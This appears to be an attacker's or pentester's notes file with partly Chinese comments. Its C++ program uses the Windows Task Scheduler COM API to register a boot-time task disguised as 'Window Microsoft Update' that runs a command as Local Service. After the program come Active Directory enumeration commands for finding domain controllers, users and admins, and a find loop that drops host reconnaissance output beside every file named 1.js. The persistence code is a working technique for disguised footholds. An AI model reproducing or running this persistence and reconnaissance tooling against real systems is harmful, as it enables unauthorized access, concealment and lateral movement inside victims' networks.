#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
// Include the task header file.
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain()
{
// ------------------------------------------------------
// Initialize COM.初始化com
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Set general COM security levels. 设置安全等级
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
// ------------------------------------------------------
// Create a name for the task. 给计划任务命名
LPCWSTR wszTaskName = L"Window Microsoft Update";
// Get the Windows directory and set the path to Notepad.exe. 设置windows的执
行路径
wstring wstrExecutablePath = L"cmd /c whoami";
// Create an instance of the Task Service. 创建一个计划任务实例
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
// Connect to the task service. 连接计划任务服务
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
// Get the pointer to the root task folder. 获取指向根任务文件夹的指针
// This folder will hold the new task that is registered. 这个文件夹能够容纳已
经注册的计划任务
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
// If the same task exists, remove it. 如果相同的任务存在 就移除它
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
// Create the task builder object to create the task. 创建任务对象来创建任务
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release(); // COM clean up. Pointer is no longer used.
// ------------------------------------------------------
// Get the registration info for setting the identification. 获取注册信息给设定
定义器
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo); // 获取注册信息
hr = pRegInfo->put_Author(_bstr_t(L"fucku")); // 放置作者信息
pRegInfo->Release();
// Create the settings for the task 创建任务设定
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
if (FAILED(hr))
{
printf("\nCannot get settings pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task. 给计划任务设置具体的值
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
// ------------------------------------------------------
// Get the trigger collection to insert the boot trigger. 获取触发器集合来插入
启动触发器
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
// Add the boot trigger to the task. 给任务增加启动触发器
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);// 创建任务触发器
pTriggerCollection->Release();
IBootTrigger* pBootTrigger = NULL;
hr = pTrigger->QueryInterface(// 查询接口
IID_IBootTrigger, (void**)&pBootTrigger);
pTrigger->Release();
hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1"));//把id放进去
// Delay the task to start 30 seconds after system start. * 延迟30s后执行
hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S"));
pBootTrigger->Release();
// ------------------------------------------------------
// Add an Action to the task. This task will execute Notepad.exe.
IActionCollection* pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions(&pActionCollection);
// Create the action, specifying it as an executable action.
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
IExecAction* pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
pAction->Release();
// Set the path of the executable
hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
pExecAction->Release();
// ------------------------------------------------------
// Save the task in the root folder.
IRegisteredTask* pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
printf("\n Success! Task successfully registered. ");
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}

net group “Domain Controllers” /Domain #查找域控机器的名字

ipconfig /all  #可以查看域控名字 然后找到 dns 服务器 然后找到域控
net view /domain:<域名> 	#可以查看域内机器
net group "domain users" /domain 	#域内用户列表
net user /domain 	#短版域内用户列表，但是需要 rpc 开启
net group "domain admins" /domain 	#域内管理员用户列表

find . -type f -name 1.js|while read f;do sh -c 'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done